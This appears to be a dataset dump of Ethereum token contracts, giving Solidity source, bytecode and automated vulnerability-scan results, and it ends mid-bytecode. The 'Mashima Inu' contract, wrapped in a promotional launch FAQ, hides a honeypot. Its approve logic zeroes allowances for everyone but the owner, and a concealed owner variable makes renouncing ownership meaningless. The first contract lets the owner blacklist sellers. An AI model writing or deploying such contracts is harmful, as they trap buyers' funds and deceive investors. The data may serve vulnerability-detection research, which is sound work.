uint256 public liqBuys = 0;
uint256 public taxBuy = 6;
uint256 public liqSells = 6;
uint256 public taxSell = 0;
uint256 private _previousLiqFee = liqFee;
uint256 private _previousProjectFee = projectTax;
uint256 private liqFee;
uint256 private projectTax;
struct FeeBreakdown {
uint256 tLiquidity;
uint256 tMarketing;
uint256 tAmount;
}
mapping(address => bool) private bots;
address payable private ProjectWallet = payable(0x24c9500c8da6c935827bc99ddcfC9e12b75881c2);
address payable private deployWallet = payable(0x69a6235D0b6617BC4EEdaeaF4162F2C8Ce638125);
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool private inSwap = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), totalTokens);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
_balances[_msgSender()] = totalTokens;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[ProjectWallet] = true;
_isExcludedFromFee[deployWallet] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), totalTokens);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure override returns (uint256) {
return totalTokens;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() private {
if (projectTax == 0 && liqFee == 0) return;
_previousProjectFee = projectTax;
_previousLiqFee = liqFee;
projectTax = 0;
liqFee = 0;
}
function restoreAllFee() private {
liqFee = _previousLiqFee;
projectTax = _previousProjectFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = !inSwap;
if(from != owner() && to != owner() && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]){
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if (from != owner() && to != owner() && from != address(this) && to != address(this)) {
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
require(balanceOf(to).add(amount) <= _maxWalletAmount, "wallet balance after transfer must be less than max wallet amount");
}
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
liqFee = liqBuys;
projectTax = taxBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
require(!bots[from] && !bots[to]);
liqFee = liqSells;
projectTax = taxSell;
}
if (!inSwap && from != uniswapV2Pair) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > thresholdSwap) {
swapAndLiquify(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee();
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deployWallet,
block.timestamp
);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 autoLPamount = liqFee.mul(contractTokenBalance).div(projectTax.add(liqFee));
uint256 half = autoLPamount.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
uint256 initialBalance = address(this).balance;
swapTokensForEth(otherHalf);
uint256 newBalance = ((address(this).balance.sub(initialBalance)).mul(half)).div(otherHalf);
addLiquidity(half, newBalance);
}
function setSwappingThreshold(uint256 _thresholdSwap) external {
require(_msgSender() == deployWallet);
thresholdSwap = _thresholdSwap;
}
function sendETHToFee(uint256 amount) private {
ProjectWallet.transfer(amount);
}
function manualSwap() external {
require(_msgSender() == deployWallet);
uint256 contractBalance = balanceOf(address(this));
if (contractBalance > 0) {
swapTokensForEth(contractBalance);
}
}
function manualSend() external {
require(_msgSender() == deployWallet);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(contractETHBalance);
}
}
function blacklist(address _address) external onlyOwner() {
bots[_address] = true;
}
function removeFromBlacklist(address _address) external onlyOwner() {
bots[_address] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) {
removeAllFee();
}
_transferStandard(sender, recipient, amount);
restoreAllFee();
}
function MaxTxAmount(uint256 maxTxAmount) external {
require(_msgSender() == deployWallet);
require(maxTxAmount > 1 * 1e11 * 1e9);
_maxTxAmount = maxTxAmount;
}
function _transferStandard(address sender, address recipient, uint256 amount) private {
FeeBreakdown memory fees;
fees.tMarketing = amount.mul(projectTax).div(100);
fees.tLiquidity = amount.mul(liqFee).div(100);
fees.tAmount = amount.sub(fees.tMarketing).sub(fees.tLiquidity);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(fees.tAmount);
_balances[address(this)] = _balances[address(this)].add(fees.tMarketing.add(fees.tLiquidity));
emit Transfer(sender, recipient, fees.tAmount);
}
receive() external payable {}
function setMaxWalletAmount(uint256 maxWalletAmount) external {
require(_msgSender() == deployWallet);
require(maxWalletAmount > totalTokens.div(200), "Amount must be greater than 0.5% of supply");
require(maxWalletAmount <= totalTokens, "Amount must be less than or equal to totalSupply");
_maxWalletAmount = maxWalletAmount;
}
}
|
0x6080604052600436106101a05760003560e01c806362290a93116100ec578063a9059cbb1161008a578063f2fde38b11610064578063f2fde38b146104c7578063f4293890146104e7578063f9f92be4146104fc578063fcd4fa1f1461051c57600080fd5b8063a9059cbb1461044b578063dd62ed3e1461046b578063ed7ab56b146104b157600080fd5b8063715018a6116100c6578063715018a6146103d35780637d1db4a5146103e85780638da5cb5b146103fe57806395d89b411461041c57600080fd5b806362290a93146103715780636c0a24eb1461038757806370a082311461039d57600080fd5b8063313ce5671161015957806341a95db11161013357806341a95db1146102ee57806349bd5a5e1461030457806351bc3c851461033c578063537df3b61461035157600080fd5b8063313ce567146102a657806339fba650146102c25780633cb7ab53146102d857600080fd5b806306fdde03146101ac578063095ea7b3146101ed5780630a08c5241461021d57806318160ddd1461023f57806323b872dd1461026657806327a14fc21461028657600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b50604080518082019091526006815265446a616e676f60d01b60208201525b6040516101e49190611624565b60405180910390f35b3480156101f957600080fd5b5061020d61020836600461168e565b61053c565b60405190151581526020016101e4565b34801561022957600080fd5b5061023d6102383660046116ba565b610553565b005b34801561024b57600080fd5b5069021e19e0c9bab24000005b6040519081526020016101e4565b34801561027257600080fd5b5061020d6102813660046116d3565b610578565b34801561029257600080fd5b5061023d6102a13660046116ba565b6105e1565b3480156102b257600080fd5b50604051600981526020016101e4565b3480156102ce57600080fd5b50610258600a5481565b3480156102e457600080fd5b5061025860055481565b3480156102fa57600080fd5b5061025860075481565b34801561031057600080fd5b50601354610324906001600160a01b031681565b6040516001600160a01b0390911681526020016101e4565b34801561034857600080fd5b5061023d6106f4565b34801561035d57600080fd5b5061023d61036c366004611714565b610736565b34801561037d57600080fd5b5061025860085481565b34801561039357600080fd5b5061025860045481565b3480156103a957600080fd5b506102586103b8366004611714565b6001600160a01b031660009081526001602052604090205490565b3480156103df57600080fd5b5061023d610781565b3480156103f457600080fd5b5061025860065481565b34801561040a57600080fd5b506000546001600160a01b0316610324565b34801561042857600080fd5b50604080518082019091526006815265444a414e474f60d01b60208201526101d7565b34801561045757600080fd5b5061020d61046636600461168e565b6107b7565b34801561047757600080fd5b50610258610486366004611731565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104bd57600080fd5b5061025860095481565b3480156104d357600080fd5b5061023d6104e2366004611714565b6107c4565b3480156104f357600080fd5b5061023d61085c565b34801561050857600080fd5b5061023d610517366004611714565b61088c565b34801561052857600080fd5b5061023d6105373660046116ba565b6108da565b6000610549338484610914565b5060015b92915050565b6011546001600160a01b0316336001600160a01b03161461057357600080fd5b600555565b6000610585848484610a38565b6105d784336105d2856040518060600160405280602881526020016118f8602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610f2a565b610914565b5060019392505050565b6011546001600160a01b0316336001600160a01b03161461060157600080fd5b61061669021e19e0c9bab240000060c8610f64565b811161067c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d7573742062652067726561746572207468616e20302e3525604482015269206f6620737570706c7960b01b60648201526084015b60405180910390fd5b69021e19e0c9bab24000008111156106ef5760405162461bcd60e51b815260206004820152603060248201527f416d6f756e74206d757374206265206c657373207468616e206f72206571756160448201526f6c20746f20746f74616c537570706c7960801b6064820152608401610673565b600455565b6011546001600160a01b0316336001600160a01b03161461071457600080fd5b3060009081526001602052604090205480156107335761073381610fad565b50565b6000546001600160a01b031633146107605760405162461bcd60e51b81526004016106739061176a565b6001600160a01b03166000908152600f60205260409020805460ff19169055565b6000546001600160a01b031633146107ab5760405162461bcd60e51b81526004016106739061176a565b6107b56000611136565b565b6000610549338484610a38565b6000546001600160a01b031633146107ee5760405162461bcd60e51b81526004016106739061176a565b6001600160a01b0381166108535760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610673565b61073381611136565b6011546001600160a01b0316336001600160a01b03161461087c57600080fd5b4780156107335761073381611186565b6000546001600160a01b031633146108b65760405162461bcd60e51b81526004016106739061176a565b6001600160a01b03166000908152600f60205260409020805460ff19166001179055565b6011546001600160a01b0316336001600160a01b0316146108fa57600080fd5b68056bc75e2d63100000811161090f57600080fd5b600655565b6001600160a01b0383166109765760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610673565b6001600160a01b0382166109d75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610673565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a9c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610673565b6001600160a01b038216610afe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610673565b60008111610b605760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610673565b60135460ff600160a01b9091041615610b816000546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610bb057506000546001600160a01b03848116911614155b8015610bd557506001600160a01b03831660009081526003602052604090205460ff16155b8015610bfa57506001600160a01b03841660009081526003602052604090205460ff16155b15610c6257600654821115610c625760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610673565b6000546001600160a01b03858116911614801590610c8e57506000546001600160a01b03848116911614155b8015610ca357506001600160a01b0384163014155b8015610cb857506001600160a01b0383163014155b15610ebf576013546001600160a01b038581169116148015610ce857506012546001600160a01b03848116911614155b15610d9757600454610d1983610d13866001600160a01b031660009081526001602052604090205490565b906111c4565b1115610d975760405162461bcd60e51b815260206004820152604160248201527f77616c6c65742062616c616e6365206166746572207472616e73666572206d7560448201527f7374206265206c657373207468616e206d61782077616c6c657420616d6f756e6064820152601d60fa1b608482015260a401610673565b6013546001600160a01b038581169116148015610dc257506012546001600160a01b03848116911614155b15610dd457600754600d55600854600e555b6013546001600160a01b038481169116148015610dff57506012546001600160a01b03858116911614155b15610e5c576001600160a01b0384166000908152600f602052604090205460ff16158015610e4657506001600160a01b0383166000908152600f602052604090205460ff16155b610e4f57600080fd5b600954600d55600a54600e555b601354600160a01b900460ff16158015610e8457506013546001600160a01b03858116911614155b15610ebf5730600090815260016020526040902054600554811115610eac57610eac81611223565b478015610ebc57610ebc47611186565b50505b6001600160a01b03841660009081526003602052604090205460ff1680610efe57506001600160a01b03831660009081526003602052604090205460ff165b15610f07575060005b610f13848484846112ae565b610f24600b54600d55600c54600e55565b50505050565b60008184841115610f4e5760405162461bcd60e51b81526004016106739190611624565b506000610f5b84866117b5565b95945050505050565b6000610fa683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112c6565b9392505050565b6013805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ff557610ff56117cc565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561104957600080fd5b505afa15801561105d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108191906117e2565b81600181518110611094576110946117cc565b6001600160a01b0392831660209182029290920101526012546110ba9130911684610914565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906110f39085906000908690309042906004016117ff565b600060405180830381600087803b15801561110d57600080fd5b505af1158015611121573d6000803e3d6000fd5b50506013805460ff60a01b1916905550505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156111c0573d6000803e3d6000fd5b5050565b6000806111d18385611870565b905083811015610fa65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610673565b6013805460ff60a01b1916600160a01b179055600d54600e5460009161125f9161124c916111c4565b600d5461125990856112f4565b90610f64565b9050600061126e826002610f64565b9050600061127c8483611373565b90504761128882610fad565b60006112a2836112598661129c4787611373565b906112f4565b905061112184826113b5565b806112bb576112bb611478565b610f138484846114a6565b600081836112e75760405162461bcd60e51b81526004016106739190611624565b506000610f5b8486611888565b6000826113035750600061054d565b600061130f83856118aa565b90508261131c8583611888565b14610fa65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610673565b6000610fa683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f2a565b6012546113cd9030906001600160a01b031684610914565b60125460115460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c4016060604051808303818588803b15801561143857600080fd5b505af115801561144c573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061147191906118c9565b5050505050565b600e541580156114885750600d54155b1561148f57565b600e8054600c55600d8054600b5560009182905555565b6114ca60405180606001604052806000815260200160008152602001600081525090565b6114e46064611259600e54856112f490919063ffffffff16565b6020820152600d546114fe906064906112599085906112f4565b808252602082015161151c9190611516908590611373565b90611373565b6040808301919091526001600160a01b0385166000908152600160205220546115459083611373565b6001600160a01b0380861660009081526001602052604080822093909355838301519186168152919091205461157a916111c4565b6001600160a01b0384166000908152600160209081526040909120919091558151908201516115c3916115ad91906111c4565b30600090815260016020526040902054906111c4565b30600090815260016020908152604091829020929092558281015190519081526001600160a01b0385811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b600060208083528351808285015260005b8181101561165157858101830151858201604001528201611635565b81811115611663576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461073357600080fd5b600080604083850312156116a157600080fd5b82356116ac81611679565b946020939093013593505050565b6000602082840312156116cc57600080fd5b5035919050565b6000806000606084860312156116e857600080fd5b83356116f381611679565b9250602084013561170381611679565b929592945050506040919091013590565b60006020828403121561172657600080fd5b8135610fa681611679565b6000806040838503121561174457600080fd5b823561174f81611679565b9150602083013561175f81611679565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000828210156117c7576117c761179f565b500390565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156117f457600080fd5b8151610fa681611679565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561184f5784516001600160a01b03168352938301939183019160010161182a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118835761188361179f565b500190565b6000826118a557634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156118c4576118c461179f565b500290565b6000806000606084860312156118de57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203bcc98738792e06c38604e59b95fc8c6a649d6140d80ceaa9c0d7699bde83e6964736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 9,144 |
0xf3cd95bca5a82d7418bce1f59dcd6aca346b4630
|
/*
🗡 Mashima Inu Pre Launch Information Update 🗡
FAQ:
When will the website be up?
⁃ The website is currently live.
https://mashimainu.com/
How much liquidity will be added for launch?
⁃ The team has decided to make this community driven and would want everyone to participate in the process. Momentarily a telegram poll to get feedback on how much ETH should be used for starting liquidity would be created and pinned soon. Options would be between 5-10ETH.
How long will liquidity be locked?
⁃ 30 DAYS ( WITH AN EXTENSION FOR EVERY MARKETCAP MILESTONE)
Will this be a stealth or fair launch?
⁃ It will be stealth and we’ll set a timeframe for the launch. Expected launch date will be announced in the next 24-36hrs.
Will there be a presale?
⁃ No, but there might be a private sale for 10% of total supply geared towards strategic influencers/ partners. (The team is still considering this amongst other alternatives)
Marketing plans?
⁃ Heavy marketing will be done pre- and post launch. Youtube, twitter, telegram and even discord servers will be targeted.
⁃ A referral contest to win 1 ETH in $MASHIMA upon launch would also be initiated as part of the marketing rollout expected to grow the community pre-launch. ( More Information would be provided soon)
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract Mashima is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**12* 10**18;
string private _name = ' Mashima Inu ';
string private _symbol = 'MASHIMA';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b6